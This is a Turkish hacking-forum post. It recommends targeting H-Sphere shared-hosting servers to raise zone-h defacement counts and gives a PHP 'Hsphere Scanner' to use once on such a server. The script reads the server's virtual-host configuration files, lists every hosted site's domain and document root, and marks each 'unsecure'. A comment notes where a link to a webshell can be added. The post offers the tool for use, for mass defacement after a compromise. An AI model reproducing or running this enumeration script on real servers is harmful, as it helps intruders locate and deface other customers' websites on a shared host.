Mectruy 

Not Gonna Get Us
Joined
Dec 1, 2015
Credits
201,695
Rating - 94.7%
Hsphere altyapılı sunucuları yeni nesil pek bilmez çünki genelde eskiden karşımıza çıkan bir yapıydı , bu sistemi zone-h mirror kayıt yarışına giren hackerler çok ararlardı , bu altyapıyı kullanan serverları hedef alırlardı çünki bu sunucularda barınan tüm sitelerin ip numaraları birbirinde farklı idi yani Single ip ile kayıtlıydılar (dc ip) her hacklenen site zone-h profilinizde single defacenizi yükseltmenize yarıyordu bu yüzden bu yöntem çok rağbet görüyordu. FreeBsd sistemlerde genelde Single ip oluyordu ancak dizinden dizine geçmek çok zordu hatta geçebilen sayısı nadirdi. Hsphere sunuculardaki siteleri kolayca listelemek için aşağıdaki php dosyası size yetecektir.Hsphere serverları biraz karışıktır , hangi site nerdeyse içnide kaybolabilirsiniz o yüzden aşağıdaki tool çok işinize yarayacaktır.

Şimdi tabiki karşınıza Hsphere server gelme olasılığı düşük ancak birgün karşılaştığınızda ne yapacağınızı bilin.

PHP:
<?php
error_reporting(E_ALL);
ini_set("display_errors", 0);
$title = "Hsphere Scanner" ;

$dir = "<table border='1' style='border-collapse: collapse'>
        <tr>
            <td>ServerName</td>
            <td>DocumentRoot</td>
            <td>Vulnerable</td>
        </tr>
        ";
$chsphere = "/hsphere/local/config/httpd/sites/";
$opendir = opendir($chsphere);
while (($file = readdir($opendir)) !== false) {
$path = $chsphere.$file;

$readfile = fopen($path,"r");
$content = fread($readfile,filesize($path));
fclose($readfile);

$DocumentRoot = explode('DocumentRoot', $content );
$DRoot = explode('ServerName', $DocumentRoot[1] );

$ServerName = explode('ServerName', $content );
$SName = explode('ServerAlias', $ServerName[1] );

$dir .= "<tr><td>".$SName[0]."</td><td>".$DRoot[0]."</td><td>unsecure</td></tr>"; //disini kamu bisa bikin link ke webshellnya.
}
closedir($opendir);
$dir .= "</table>";

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
    <meta name="author" content="RaideRz" />
    <title><?php echo $title ?> - Billgate</title>
        <style type="text/css">
            *{ color: #ffffff;}
            body { background: #111;  }
            #xcrew { width:800px auto ; background: #000; min-height: 200px; border: 1px outset #454545; margin: 50px; padding: 5px; }
            #output {color: #333 ;}
       </style>     
</head>
<body>
<div id="./BillGate">
<p style="font-size: 24px; text-align: center; color: red;"><strong>..:: <?php echo $title ?> - Indonesia UnderGround Coder ::..</strong></p><br/>
<div id="output">
<?php echo $dir ?>
</div>
</div>
</body>
</html>
 

Users who are viewing this thread

Top